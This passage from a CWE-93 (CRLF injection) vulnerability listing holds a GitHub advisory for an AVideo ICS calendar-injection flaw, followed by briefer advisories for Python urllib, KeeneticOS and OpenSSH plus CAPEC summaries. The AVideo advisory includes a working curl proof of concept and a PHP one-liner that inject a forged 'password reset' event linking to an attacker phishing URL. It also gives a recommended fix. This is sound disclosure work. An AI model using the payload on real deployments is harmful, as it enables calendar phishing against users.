    'valarm' => $VALARM,
);
$ics = new ICS($props);
...
echo $icsString;

objects/ICS.php:167-169 — incomplete escape:

private function escape_string($str) {
    return preg_replace('/([\,;])/','\\\$1', $str);
}

Per RFC 5545 §3.3.11, TEXT values must also have CR/LF either folded or encoded as \n. This implementation does neither. ICS::to_string() (line 101) joins every property with "\r\n", so any raw \r\n sequence embedded in a value breaks out of the property line and injects new ICS directives.

Verified exploit output

Running the builder with a CRLF-laden description produces a file with two distinct VEVENT blocks (the second entirely attacker-controlled):

BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//hacksw/handcal//NONSGML v1.0//EN
CALSCALE:GREGORIAN
BEGIN:VEVENT
DESCRIPTION:Hello
END:VEVENT
BEGIN:VEVENT
SUMMARY:Injected
URL:http://attacker.com
DTSTART:20260501T000000Z
DTEND:20260501T130000Z
SUMMARY:Legit
URL;VALUE=URI:https://example.com
DTSTAMP:20260424T082123Z
UID:69eb2803d1aa2
END:VEVENT
END:VCALENDAR

The injected BEGIN:VEVENT / END:VEVENT pair is standards-compliant and parsed as an additional event by Outlook, Apple Calendar, Google Calendar, and Thunderbird/Lightning.

PoC

  1. Ensure the Scheduler plugin is enabled on the target (default-shipped optional plugin, commonly enabled on streaming deployments).

  2. Send an unauthenticated GET request with CRLF-encoded payload in description:

curl -o malicious.ics \
  'http://victim.example.com/plugin/Scheduler/downloadICS.php?title=Team%20Standup&date_start=2026-05-01+12:00&description=Hello%0D%0AEND:VEVENT%0D%0ABEGIN:VEVENT%0D%0ASUMMARY:URGENT%3A%20Password%20Reset%20Required%0D%0ADTSTART:20260601T090000Z%0D%0ADTEND:20260601T100000Z%0D%0AURL:http://attacker.com/phish%0D%0ALOCATION:Online%0D%0ADESCRIPTION:Please%20click%20the%20URL%20to%20confirm%20your%20identity'
  1. The returned file contains two VEVENT blocks. Import into any standards-compliant calendar client — both events appear in the victim's calendar. The injected event renders with an attacker-chosen clickable URL.

Local reproduction (without needing a running server) using the same code path:

php -r "require 'objects/ICS.php'; \$p = ['description' => \"Hello\r\nEND:VEVENT\r\nBEGIN:VEVENT\r\nSUMMARY:Injected\r\nURL:http://attacker.com\", 'dtstart'=>'2026-05-01', 'dtend'=>'2026-05-01 13:00', 'summary'=>'Legit', 'url'=>'https://example.com']; echo (new ICS(\$p))->to_string();"

Produces the two-VEVENT output shown above (verified).

Impact

  • Same-origin calendar phishing. The .ics is served from the trusted AVideo domain, bypassing URL-reputation checks and email-filter suspicion of attacker-hosted attachments.
  • Arbitrary event spoofing. Attacker controls SUMMARY, DTSTART, DTEND, URL, LOCATION, DESCRIPTION, and may add further ICS properties (e.g. ORGANIZER, ATTENDEE). Many mainstream calendar clients display the URL field as a clickable link in the event body.
  • Integrity: Low — unwanted/forged events are added to the victim's calendar after they import the file.
  • Auth: None. Precondition is only that the Scheduler plugin is enabled, which is typical on deployments that use AVideo's scheduled streaming features.
  • Confidentiality / Availability: No direct impact.

Not a higher-severity response-splitting bug: PHP's header() blocks CRLF in response headers since 5.1.2, so the CRLF bytes do not escape into HTTP headers — only into the ICS body.

Recommended Fix

Strip or RFC-5545-encode CR/LF in ICS::escape_string() so newline bytes cannot break out of a property line. In objects/ICS.php:167-169:

private function escape_string($str) {
    // RFC 5545 §3.3.11: escape backslash, semicolon, comma; encode newlines as \n
    $str = str_replace(array("\\", "\r\n", "\r", "\n"), array("\\\\", "\\n", "\\n", "\\n"), $str);
    return preg_replace('/([\,;])/', '\\\\$1', $str);
}

Additionally, plugin/Scheduler/downloadICS.php should either require authentication or at minimum apply strict input validation (length caps, character whitelists) on title, description, and joinURL — and joinURL should continue to be validated via isValidURL() (already done) before emission. Consider adding a defence-in-depth strip of CR/LF on every $_REQUEST parameter used by Scheduler::downloadICS().

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43882"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T22:14:31Z",
    "nvd_published_at": "2026-05-11T22:22:12Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe unauthenticated `plugin/Scheduler/downloadICS.php` endpoint passes attacker-controlled `title`, `description`, and `joinURL` parameters into `Scheduler::downloadICS()`, which builds an ICS calendar file via the `ICS` helper class. `ICS::escape_string()` (`objects/ICS.php:167-169`) only escapes `,` and `;` and does NOT neutralize CR/LF, so attacker CRLF bytes inside a property value break out and inject arbitrary ICS lines \u2014 including `END:VEVENT` / `BEGIN:VEVENT` pairs that add entire attacker-controlled calendar events. Because the malicious `.ics` file is served from the victim\u0027s trusted AVideo origin, this enables high-credibility calendar phishing: forged meetings with attacker-chosen `SUMMARY`, `URL`, `LOCATION`, and `DESCRIPTION` landing in the victim\u0027s calendar after import.\n\n## Details\n\n### Vulnerable code path\n\n**`plugin/Scheduler/downloadICS.php`** \u2014 unauthenticated entry point:\n\n```php\nif(!AVideoPlugin::isEnabledByName(\u0027Scheduler\u0027)){\n    forbiddenPage(\u0027Scheduler is disabled\u0027);\n}\nif(empty($_REQUEST[\u0027title\u0027])){ forbiddenPage(\u0027Title cannot be empty\u0027); }\nif(empty($_REQUEST[\u0027date_start\u0027])){ forbiddenPage(\u0027date_start cannot be empty\u0027); }\n\nScheduler::downloadICS($_REQUEST[\u0027title\u0027], $_REQUEST[\u0027date_start\u0027], @$_REQUEST[\u0027date_end\u0027],\n    @$_REQUEST[\u0027reminder\u0027], @$_REQUEST[\u0027joinURL\u0027], @$_REQUEST[\u0027description\u0027]);\n```\n\nThere is no session check, no CSRF token, no user-role check \u2014 only an empty-check on `title`/`date_start` and a plugin-enabled check.\n\n**`plugin/Scheduler/Scheduler.php:367-382`** passes inputs directly to the ICS builder:\n\n```php\n$props = array(\n    \u0027location\u0027 =\u003e $location,\n    \u0027description\u0027 =\u003e $description,   // attacker-controlled\n    \u0027dtstart\u0027 =\u003e $dtstart,\n    \u0027dtend\u0027 =\u003e $dtend,\n    \u0027summary\u0027 =\u003e $title,             // attacker-controlled\n    \u0027url\u0027 =\u003e $joinURL,               // attacker-controlled\n    \u0027valarm\u0027 =\u003e $VALARM,\n);\n$ics = new ICS($props);\n...\necho $icsString;\n```\n\n**`objects/ICS.php:167-169`** \u2014 incomplete escape:\n\n```php\nprivate function escape_string($str) {\n    return preg_replace(\u0027/([\\,;])/\u0027,\u0027\\\\\\$1\u0027, $str);\n}\n```\n\nPer RFC 5545 \u00a73.3.11, TEXT values must also have CR/LF either folded or encoded as `\\n`. This implementation does neither. `ICS::to_string()` (line 101) joins every property with `\"\\r\\n\"`, so any raw `\\r\\n` sequence embedded in a value breaks out of the property line and injects new ICS directives.\n\n### Verified exploit output\n\nRunning the builder with a CRLF-laden `description` produces a file with two distinct `VEVENT` blocks (the second entirely attacker-controlled):\n\n```\nBEGIN:VCALENDAR\nVERSION:2.0\nPRODID:-//hacksw/handcal//NONSGML v1.0//EN\nCALSCALE:GREGORIAN\nBEGIN:VEVENT\nDESCRIPTION:Hello\nEND:VEVENT\nBEGIN:VEVENT\nSUMMARY:Injected\nURL:http://attacker.com\nDTSTART:20260501T000000Z\nDTEND:20260501T130000Z\nSUMMARY:Legit\nURL;VALUE=URI:https://example.com\nDTSTAMP:20260424T082123Z\nUID:69eb2803d1aa2\nEND:VEVENT\nEND:VCALENDAR\n```\n\nThe injected `BEGIN:VEVENT` / `END:VEVENT` pair is standards-compliant and parsed as an additional event by Outlook, Apple Calendar, Google Calendar, and Thunderbird/Lightning.\n\n## PoC\n\n1. Ensure the Scheduler plugin is enabled on the target (default-shipped optional plugin, commonly enabled on streaming deployments).\n\n2. Send an unauthenticated GET request with CRLF-encoded payload in `description`:\n\n```\ncurl -o malicious.ics \\\n  \u0027http://victim.example.com/plugin/Scheduler/downloadICS.php?title=Team%20Standup\u0026date_start=2026-05-01+12:00\u0026description=Hello%0D%0AEND:VEVENT%0D%0ABEGIN:VEVENT%0D%0ASUMMARY:URGENT%3A%20Password%20Reset%20Required%0D%0ADTSTART:20260601T090000Z%0D%0ADTEND:20260601T100000Z%0D%0AURL:http://attacker.com/phish%0D%0ALOCATION:Online%0D%0ADESCRIPTION:Please%20click%20the%20URL%20to%20confirm%20your%20identity\u0027\n```\n\n3. The returned file contains two `VEVENT` blocks. Import into any standards-compliant calendar client \u2014 both events appear in the victim\u0027s calendar. The injected event renders with an attacker-chosen clickable URL.\n\nLocal reproduction (without needing a running server) using the same code path:\n\n```\nphp -r \"require \u0027objects/ICS.php\u0027; \\$p = [\u0027description\u0027 =\u003e \\\"Hello\\r\\nEND:VEVENT\\r\\nBEGIN:VEVENT\\r\\nSUMMARY:Injected\\r\\nURL:http://attacker.com\\\", \u0027dtstart\u0027=\u003e\u00272026-05-01\u0027, \u0027dtend\u0027=\u003e\u00272026-05-01 13:00\u0027, \u0027summary\u0027=\u003e\u0027Legit\u0027, \u0027url\u0027=\u003e\u0027https://example.com\u0027]; echo (new ICS(\\$p))-\u003eto_string();\"\n```\n\nProduces the two-VEVENT output shown above (verified).\n\n## Impact\n\n- **Same-origin calendar phishing.** The `.ics` is served from the trusted AVideo domain, bypassing URL-reputation checks and email-filter suspicion of attacker-hosted attachments.\n- **Arbitrary event spoofing.** Attacker controls `SUMMARY`, `DTSTART`, `DTEND`, `URL`, `LOCATION`, `DESCRIPTION`, and may add further ICS properties (e.g. `ORGANIZER`, `ATTENDEE`). Many mainstream calendar clients display the `URL` field as a clickable link in the event body.\n- **Integrity:** Low \u2014 unwanted/forged events are added to the victim\u0027s calendar after they import the file.\n- **Auth:** None. Precondition is only that the Scheduler plugin is enabled, which is typical on deployments that use AVideo\u0027s scheduled streaming features.\n- **Confidentiality / Availability:** No direct impact.\n\nNot a higher-severity response-splitting bug: PHP\u0027s `header()` blocks CRLF in response headers since 5.1.2, so the CRLF bytes do not escape into HTTP headers \u2014 only into the ICS body.\n\n## Recommended Fix\n\nStrip or RFC-5545-encode CR/LF in `ICS::escape_string()` so newline bytes cannot break out of a property line. In `objects/ICS.php:167-169`:\n\n```php\nprivate function escape_string($str) {\n    // RFC 5545 \u00a73.3.11: escape backslash, semicolon, comma; encode newlines as \\n\n    $str = str_replace(array(\"\\\\\", \"\\r\\n\", \"\\r\", \"\\n\"), array(\"\\\\\\\\\", \"\\\\n\", \"\\\\n\", \"\\\\n\"), $str);\n    return preg_replace(\u0027/([\\,;])/\u0027, \u0027\\\\\\\\$1\u0027, $str);\n}\n```\n\nAdditionally, `plugin/Scheduler/downloadICS.php` should either require authentication or at minimum apply strict input validation (length caps, character whitelists) on `title`, `description`, and `joinURL` \u2014 and `joinURL` should continue to be validated via `isValidURL()` (already done) before emission. Consider adding a defence-in-depth strip of CR/LF on every `$_REQUEST` parameter used by `Scheduler::downloadICS()`.",
  "id": "GHSA-mwgh-92m2-wvhv",
  "modified": "2026-05-13T14:20:32Z",
  "published": "2026-05-05T22:14:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-mwgh-92m2-wvhv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43882"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/764db592f99e545aa86bb9a4ad664ffd14c38ba5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: Unauthenticated CRLF/ICS Injection in Scheduler downloadICS.php Allows Calendar Event Spoofing"
}

GHSA-P3J2-V862-H3V3

Vulnerability from github – Published: 2022-05-13 01:11 – Updated: 2022-05-13 01:11
VLAI
Details

An issue was discovered in urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3. CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the first argument to urllib.request.urlopen with \r\n (specifically in the query string after a ? character) followed by an HTTP header or a Redis command. This is fixed in: v2.7.17, v2.7.17rc1, v2.7.18, v2.7.18rc1; v3.5.10, v3.5.10rc1, v3.5.8, v3.5.8rc1, v3.5.8rc2, v3.5.9; v3.6.10, v3.6.10rc1, v3.6.11, v3.6.11rc1, v3.6.12, v3.6.9, v3.6.9rc1; v3.7.4, v3.7.4rc1, v3.7.4rc2, v3.7.5, v3.7.5rc1, v3.7.6, v3.7.6rc1, v3.7.7, v3.7.7rc1, v3.7.8, v3.7.8rc1, v3.7.9.

Severity
6.1 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-9740"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-03-13T03:29:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3. CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the first argument to urllib.request.urlopen with \\r\\n (specifically in the query string after a ? character) followed by an HTTP header or a Redis command. This is fixed in: v2.7.17, v2.7.17rc1, v2.7.18, v2.7.18rc1; v3.5.10, v3.5.10rc1, v3.5.8, v3.5.8rc1, v3.5.8rc2, v3.5.9; v3.6.10, v3.6.10rc1, v3.6.11, v3.6.11rc1, v3.6.12, v3.6.9, v3.6.9rc1; v3.7.4, v3.7.4rc1, v3.7.4rc2, v3.7.5, v3.7.5rc1, v3.7.6, v3.7.6rc1, v3.7.7, v3.7.7rc1, v3.7.8, v3.7.8rc1, v3.7.9.",
  "id": "GHSA-p3j2-v862-h3v3",
  "modified": "2022-05-13T01:11:47Z",
  "published": "2022-05-13T01:11:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9740"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2022.html"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4127-2"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4127-1"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20190619-0005"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202003-26"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/bugtraq/2019/Oct/29"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/M34WOYCDKTDE5KLUACE2YIEH7D37KHRX"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JXASHCDD4PQFKTMKQN4YOP5ZH366ABN4"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JMWSKTNOHSUOT3L25QFJAVCFYZX46FYK"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JCPGLTTOBB3QEARDX4JOYURP6ELNNA2V"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4X3HW5JRZ7GCPSR7UHJOLD7AWLTQCDVR"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/44TS66GJMO5H3RLMVZEBGEFTB6O2LJJU"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2ORNTF62QPLMJXIQ7KTZQ2776LMIXEKL"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/08/msg00034.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/07/msg00011.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2019/06/msg00026.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2019/06/msg00023.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2019/06/msg00022.html"
    },
    {
      "type": "WEB",
      "url": "https://bugs.python.org/issue36276"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3725"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3520"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3335"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2030"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:1260"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00039.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00041.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/154927/Slackware-Security-Advisory-python-Updates.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2021/02/04/2"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/107466"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P69P-39VF-6X53

Vulnerability from github – Published: 2025-10-23 15:30 – Updated: 2025-10-23 18:31
VLAI
Details

CRLF-injection in KeeneticOS before 4.3 at "/auth" API endpoint allows attackers to take over the device via adding additional users with full permissions by managing the victim to open page with exploit.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-56007"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-23T15:15:39Z",
    "severity": "MODERATE"
  },
  "details": "CRLF-injection in KeeneticOS before 4.3 at \"/auth\" API endpoint allows attackers to take over the device via adding additional users with full permissions by managing the victim to open page with exploit.",
  "id": "GHSA-p69p-39vf-6x53",
  "modified": "2025-10-23T18:31:14Z",
  "published": "2025-10-23T15:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-56007"
    },
    {
      "type": "WEB",
      "url": "https://keenetic.com"
    },
    {
      "type": "WEB",
      "url": "https://keenetic.com/global/security#october-2025-web-api-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P759-VW7C-CVG8

Vulnerability from github – Published: 2022-05-14 03:00 – Updated: 2025-04-12 12:57
VLAI
Details

Multiple CRLF injection vulnerabilities in session.c in sshd in OpenSSH before 7.2p2 allow remote authenticated users to bypass intended shell-command restrictions via crafted X11 forwarding data, related to the (1) do_authenticated1 and (2) session_x11_req functions.

Severity
6.4 (Medium)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2016-3115"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-03-22T10:59:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple CRLF injection vulnerabilities in session.c in sshd in OpenSSH before 7.2p2 allow remote authenticated users to bypass intended shell-command restrictions via crafted X11 forwarding data, related to the (1) do_authenticated1 and (2) session_x11_req functions.",
  "id": "GHSA-p759-vw7c-cvg8",
  "modified": "2025-04-12T12:57:53Z",
  "published": "2022-05-14T03:00:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-3115"
    },
    {
      "type": "WEB",
      "url": "https://bto.bluecoat.com/security-advisory/sa121"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/09/msg00010.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201612-18"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/39569"
    },
    {
      "type": "WEB",
      "url": "https://www.freebsd.org/security/advisories/FreeBSD-SA-16:14.openssh.asc"
    },
    {
      "type": "WEB",
      "url": "http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/session.c"
    },
    {
      "type": "WEB",
      "url": "http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/session.c.diff?r1=1.281\u0026r2=1.282\u0026f=h"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183101.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183122.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2016-March/178838.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2016-March/179924.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2016-March/180491.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2016-May/184264.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/136234/OpenSSH-7.2p1-xauth-Command-Injection-Bypass.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2016-0465.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2016-0466.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2016/Mar/46"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2016/Mar/47"
    },
    {
      "type": "WEB",
      "url": "http://www.openssh.com/txt/x11fwd.adv"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/bulletinapr2016-2952098.html"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/linuxbulletinapr2016-2952096.html"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/ovmbulletinjul2016-3090546.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/84314"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1035249"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Implementation

Avoid using CRLF as a special sequence.

Mitigation
Implementation

Appropriately filter or quote CRLF sequences in user-controlled input.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-81: Web Server Logs Tampering

Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.

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